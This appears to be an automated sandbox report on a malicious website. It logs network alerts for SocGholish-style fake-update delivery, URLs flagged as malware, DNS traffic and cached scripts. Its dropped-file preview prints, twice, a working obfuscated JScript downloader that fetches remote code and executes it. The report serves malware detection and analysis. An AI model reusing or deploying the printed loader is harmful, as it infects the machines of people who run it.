Excluded IPs from analysis (whitelisted): 23.199.214.10, 142.250.185.110, 142.250.74.195, 216.58.212.174, 74.125.133.84, 172.217.18.110, 142.250.186.46, 216.58.212.142, 142.250.186.142, 142.250.184.234, 142.250.185.227, 142.250.186.110, 142.250.184.206, 142.250.186.72, 142.250.181.238, 142.250.185.174, 142.250.185.238, 199.232.210.172, 216.58.206.67, 142.250.74.206, 142.250.186.35, 142.250.185.78, 184.86.251.12, 4.245.163.56, 150.171.28.10, 2.19.122.42
Excluded domains from analysis (whitelisted): www.bing.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net, www.google-analytics.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://allstareventsmiami.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (995), with no line terminators
Category:	dropped
Size (bytes):	995
Entropy (8bit):	5.83176579761073
Encrypted:	false
SSDEEP:	24:o7/JXGkv437eCKBDrh+ibMxOVvbaRs8TmkZ:6x7phXoIOmG
MD5:	A17C9F2C056476A072A7EF2589C25A54
SHA1:	1427D17CF4787F77C7570B7155A72BFDE2B746AA
SHA-256:	F063BB7E9AC74B83A3F5F63F5F612D5C48FCF5150CE571E3A7421F2631C3F556
SHA-512:	73BEB43D09F1ACADA5593335FC360B3E90C345AB93568B1EE52C0B54431DEFA133C65515EC83679909AD077F5DDD054859EF71A0E49F74497499304F11748846
Malicious:	false
Reputation:	low
Preview:	//@cc_on var xd="kGaqpYKOZoSuD72n1Xi0MeN3I8cjEyVTUsfPvwtWh+/bQzBLmg9HAxRlJ4rF5Cd6";function dn(mi){var bo="";var tt,ru,jn,yk,wv,gy,jo;var ik=0;while(ik<mi.length){yk=xd.indexOf(mi.charAt(ik++));wv=xd.indexOf(mi.charAt(ik++));gy=xd.indexOf(mi.charAt(ik++));jo=xd.indexOf(mi.charAt(ik++));tt=(yk<<2)\|(wv>>4);ru=((wv&15)<<4)\|(gy>>2);jn=((gy&3)<<6)\|jo;bo=bo+String.fromCharCode(tt);if(ru&&gy!=64){bo=bo+String.fromCharCode(ru);}if(jn&&jo!=64){bo=bo+String.fromCharCode(jn);}}return bo;}var tv=this;function um(un){var oy=dn('EteHEKCBERM');var ym=oy+dn('eKeJyk');var um=un[ym];return um;};function oy(ym){return ym;};var ch=dn('0e7I');var vr=new tv[dn('1N7Ac38wNpCfctePyk')](ch+dn('0Mm9uws70psMeYk'));vr[dn('jlGwjU')](dn('MpC0ek'),dn('cOXAEODru9CH8N7xEtMBjKxwuN7Lut7LjiCmEtCtcNgw0KY4jleA'),true);vr[dn('EReB8k')](dn('DHG40AoDyPeaV0XX8tDLXvx77N8bcpencq8ReR+27q7I0YsD0tzScpoXn0A'));while(true){tv[dn('ex7Z')][dn('MRgw83k')](1000);if(vr[dn('Etes8Ow0yKYA81')]==4){tv[dn('838sjk')](oy(um(vr)));break;}}@*/

C:\Users\user\Downloads\Unconfirmed 153885.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (995), with no line terminators
Category:	dropped
Size (bytes):	995
Entropy (8bit):	5.83176579761073
Encrypted:	false
SSDEEP:	24:o7/JXGkv437eCKBDrh+ibMxOVvbaRs8TmkZ:6x7phXoIOmG
MD5:	A17C9F2C056476A072A7EF2589C25A54
SHA1:	1427D17CF4787F77C7570B7155A72BFDE2B746AA
SHA-256:	F063BB7E9AC74B83A3F5F63F5F612D5C48FCF5150CE571E3A7421F2631C3F556
SHA-512:	73BEB43D09F1ACADA5593335FC360B3E90C345AB93568B1EE52C0B54431DEFA133C65515EC83679909AD077F5DDD054859EF71A0E49F74497499304F11748846
Malicious:	false
Reputation:	low
Preview:	//@cc_on var xd="kGaqpYKOZoSuD72n1Xi0MeN3I8cjEyVTUsfPvwtWh+/bQzBLmg9HAxRlJ4rF5Cd6";function dn(mi){var bo="";var tt,ru,jn,yk,wv,gy,jo;var ik=0;while(ik<mi.length){yk=xd.indexOf(mi.charAt(ik++));wv=xd.indexOf(mi.charAt(ik++));gy=xd.indexOf(mi.charAt(ik++));jo=xd.indexOf(mi.charAt(ik++));tt=(yk<<2)\|(wv>>4);ru=((wv&15)<<4)\|(gy>>2);jn=((gy&3)<<6)\|jo;bo=bo+String.fromCharCode(tt);if(ru&&gy!=64){bo=bo+String.fromCharCode(ru);}if(jn&&jo!=64){bo=bo+String.fromCharCode(jn);}}return bo;}var tv=this;function um(un){var oy=dn('EteHEKCBERM');var ym=oy+dn('eKeJyk');var um=un[ym];return um;};function oy(ym){return ym;};var ch=dn('0e7I');var vr=new tv[dn('1N7Ac38wNpCfctePyk')](ch+dn('0Mm9uws70psMeYk'));vr[dn('jlGwjU')](dn('MpC0ek'),dn('cOXAEODru9CH8N7xEtMBjKxwuN7Lut7LjiCmEtCtcNgw0KY4jleA'),true);vr[dn('EReB8k')](dn('DHG40AoDyPeaV0XX8tDLXvx77N8bcpencq8ReR+27q7I0YsD

Source: https://virtual.urban-orthodontics.com/d/McXQzRfzQT0SZvQcAwfwSHeS1VyT4xFp14NBmUQy4DkmguVd8+LgPRJm9b0W5/TdF6OACBeTwUin0+D4N6MgaHcS4B0WE=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/CdqKfnL46Rdt+LBMP+mmXHqu7w4r4KgSaLTuF2e91Q19u/4NK/aoDX34sE0l+PhcM/juGWqgqAM=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/11wmPKx+RVWzfhwO4W8KHqQoQ0z1ZgRduT1KRa05eVqnfgoepX4cHrE/Tk6mfls=	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/m8csmeDlT/D/5RarrfQAu+izSem5/Q71+qlI8PWgc+rvpljquesO6u/lFqi35V67oeVc/fqwRfzqvVz/4eVR	Avira URL Cloud: Label: malware
Source: https://virtual.urban-orthodontics.com/0/OdxajR/qy30af35cCx56CH+LXxyb+psp35rL2UwqO6n/jn/9Hv5+nR8KS8ifqvtNHg	Avira URL Cloud: Label: malware

Source: Network traffic	Suricata IDS: 2058147 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (groundrats .org) : 192.168.2.5:59391 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058147 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (groundrats .org) : 192.168.2.5:55985 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058148 - Severity 1 - ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (groundrats .org) : 192.168.2.5:49818 -> 46.173.214.32:443
Source: Network traffic	Suricata IDS: 2852900 - Severity 1 - ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3 : 185.76.79.50:443 -> 192.168.2.5:49893

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:49810 -> 95.101.182.115:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:49833 -> 95.101.182.115:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.5:49819 -> 95.101.182.115:443

Source: chromecache_293.1.dr	String found in binary or memory: window.open("http://www.facebook.com/sharer/sharer.php?u="+encodeURIComponent((opt.buttons.facebook.url !== '' ? opt.buttons.facebook.url : opt.url))+"&t="+opt.text+"", "", "toolbar=0, status=0, width=900, height=500"); equals www.facebook.com (Facebook)
Source: chromecache_293.1.dr	String found in binary or memory: window.open('https://www.linkedin.com/cws/share?url='+encodeURIComponent((opt.buttons.delicious.url !== '' ? opt.buttons.delicious.url : opt.url))+'&token=&isFramed=true', 'linkedin', 'toolbar=no,width=550,height=550'); equals www.linkedin.com (Linkedin)
Source: chromecache_293.1.dr	String found in binary or memory: linkedin: "http://www.linkedin.com/countserv/count/share?format=jsonp&url={url}&callback=?", equals www.linkedin.com (Linkedin)
Source: chromecache_252.1.dr	String found in binary or memory: __lc_static_config({"buttons":[{"id":"a0deba4a4d","type":"text","online_value":"Live chat now","offline_value":"Leave us a message"},{"id":"b2469f72fd","type":"image","online_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_online003.png","offline_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_offline003.png"},{"id":"eb471a7277","type":"image","online_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_online007.png","offline_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_offline007.png"}],"prechat_form":{"id":"1001","fields":[{"id":"10010","type":"header","label":"Welcome to our LiveChat! Please fill in the form below before starting the chat."},{"id":"2001","type":"name","label":"Name:","required":false},{"id":"2002","type":"email","label":"E-mail:","required":false}]},"ticket_form":{"id":"0","fields":[{"type":"header","label":"Our agents are not available right now. Please leave a message and we'll get back to you."},{"type":"name","label":"Your name:","required":true},{"type":"email","label":"E-mail:","required":true},{"type":"subject","label":"Subject:","required":true},{"type":"textarea","label":"Message:","required":true}]},"integrations":{},"properties":{"group":{"bb9e5b2f1ab480e4a715977b7b1b4279":{"homescreen_enabled":true},"feade1d6c3f17748ae4c8d917a1e1068":{"forwardTicketFormToHelpdesk":false}},"license":{"632cead4b282481a422dd4e1d1567449":{"microphone":false,"widget_message_box_moment_height":"","widget_message_box_moment_url":""},"a9f288b2883da20306d30e179067406f":{"clipboard_write":false,"transfer_identity_enabled":false},"b8181118efe67625339ae776e78e6026":{"microphone":true},"core":{"attachments.enable_for_visitors":"1","chat_between_groups":"1","continuous_chat_widget_enabled":"0","customer_history_enabled":"1","default_widget":"livechat","non_profit":"0"}}},"__priv":{"group":{"chat_boosters":"","chat_page_title":"","chat_window.custom_mobile_settings":"0","chat_window.disable_minimized":"0","chat_window.disable_sounds":"0","chat_window.display_avatar":"1","chat_window.display_logo":"1","chat_window.display_transcript_button":"1","chat_window.hide_on_init":"0","chat_window.hide_on_mobile":"0","chat_window.hide_trademark":"0","chat_window.logo_path":"cdn.livechat-files.com/api/file/lc/main/default/logo/sz2tt7jpJ6VJwBo.png","chat_window.mobile_disable_minimized":"0","chat_window.mobile_hide_on_init":"0","chat_window.mobile_minimized_theme":"circle","chat_window.mobile_offset_x":"0","chat_window.mobile_offset_y":"0","chat_window.mobile_screen_position":"right","chat_window.new_theme.agent_message_color_background":"transparent","chat_window.new_theme.agent_message_color_text":"#111111","chat_window.new_theme.agentbar_background_color":"#FFFFFF","chat_window.new_theme.agentbar_text":"#111111","chat_window.new_theme.background_color":"#F6F6F7","chat_window.new_theme.cta_color":"#5C02E3","chat_window.new_theme.custom_json":"","chat_window.new_theme.
Source: chromecache_252.1.dr	String found in binary or memory: __lc_static_config({"buttons":[{"id":"a0deba4a4d","type":"text","online_value":"Live chat now","offline_value":"Leave us a message"},{"id":"b2469f72fd","type":"image","online_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_online003.png","offline_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_offline003.png"},{"id":"eb471a7277","type":"image","online_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_online007.png","offline_value":"cdn.livechat-files.com/api/file/lc/main/default/buttons/button_offline007.png"}],"prechat_form":{"id":"1001","fields":[{"id":"10010","type":"header","label":"Welcome to our LiveChat! Please fill in the form below before starting the chat."},{"id":"2001","type":"name","label":"Name:","required":false},{"id":"2002","type":"email","label":"E-mail:","required":false}]},"ticket_form":{"id":"0","fields":[{"type":"header","label":"Our agents are not available right now. Please leave a message and we'll get back to you."},{"type":"name","label":"Your name:","required":true},{"type":"email","label":"E-mail:","required":true},{"type":"subject","label":"Subject:","required":true},{"type":"textarea","label":"Message:","required":true}]},"integrations":{},"properties":{"group":{"bb9e5b2f1ab480e4a715977b7b1b4279":{"homescreen_enabled":true},"feade1d6c3f17748ae4c8d917a1e1068":{"forwardTicketFormToHelpdesk":false}},"license":{"632cead4b282481a422dd4e1d1567449":{"microphone":false,"widget_message_box_moment_height":"","widget_message_box_moment_url":""},"a9f288b2883da20306d30e179067406f":{"clipboard_write":false,"transfer_identity_enabled":false},"b8181118efe67625339ae776e78e6026":{"microphone":true},"core":{"attachments.enable_for_visitors":"1","chat_between_groups":"1","continuous_chat_widget_enabled":"0","customer_history_enabled":"1","default_widget":"livechat","non_profit":"0"}}},"__priv":{"group":{"chat_boosters":"","chat_page_title":"","chat_window.custom_mobile_settings":"0","chat_window.disable_minimized":"0","chat_window.disable_sounds":"0","chat_window.display_avatar":"1","chat_window.display_logo":"1","chat_window.display_transcript_button":"1","chat_window.hide_on_init":"0","chat_window.hide_on_mobile":"0","chat_window.hide_trademark":"0","chat_window.logo_path":"cdn.livechat-files.com/api/file/lc/main/default/logo/sz2tt7jpJ6VJwBo.png","chat_window.mobile_disable_minimized":"0","chat_window.mobile_hide_on_init":"0","chat_window.mobile_minimized_theme":"circle","chat_window.mobile_offset_x":"0","chat_window.mobile_offset_y":"0","chat_window.mobile_screen_position":"right","chat_window.new_theme.agent_message_color_background":"transparent","chat_window.new_theme.agent_message_color_text":"#111111","chat_window.new_theme.agentbar_background_color":"#FFFFFF","chat_window.new_theme.agentbar_text":"#111111","chat_window.new_theme.background_color":"#F6F6F7","chat_window.new_theme.cta_color":"#5C02E3","chat_window.new_theme.custom_json":"","chat_window.new_theme.
Source: chromecache_192.1.dr	String found in binary or memory: return f}BG.K="internal.enableAutoEventOnTimer";var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)

Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 20.31.169.57
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.96.88
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: allstareventsmiami.com
Source: global traffic	DNS traffic detected: DNS query: cdn.userway.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: www.inflatableoffice.com
Source: global traffic	DNS traffic detected: DNS query: connect.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: cdn.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: rental.software
Source: global traffic	DNS traffic detected: DNS query: api.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: groundrats.org
Source: global traffic	DNS traffic detected: DNS query: secure.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: virtual.urban-orthodontics.com
Source: global traffic	DNS traffic detected: DNS query: api.userway.org
Source: global traffic	DNS traffic detected: DNS query: accounts.livechatinc.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://allstareventsmiami.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Downloads\6fdb56e4-296e-46ed-89f8-268ba4127df7.tmp

C:\Users\user\Downloads\Unconfirmed 153885.crdownload (copy)

Windows Analysis Report
http://allstareventsmiami.com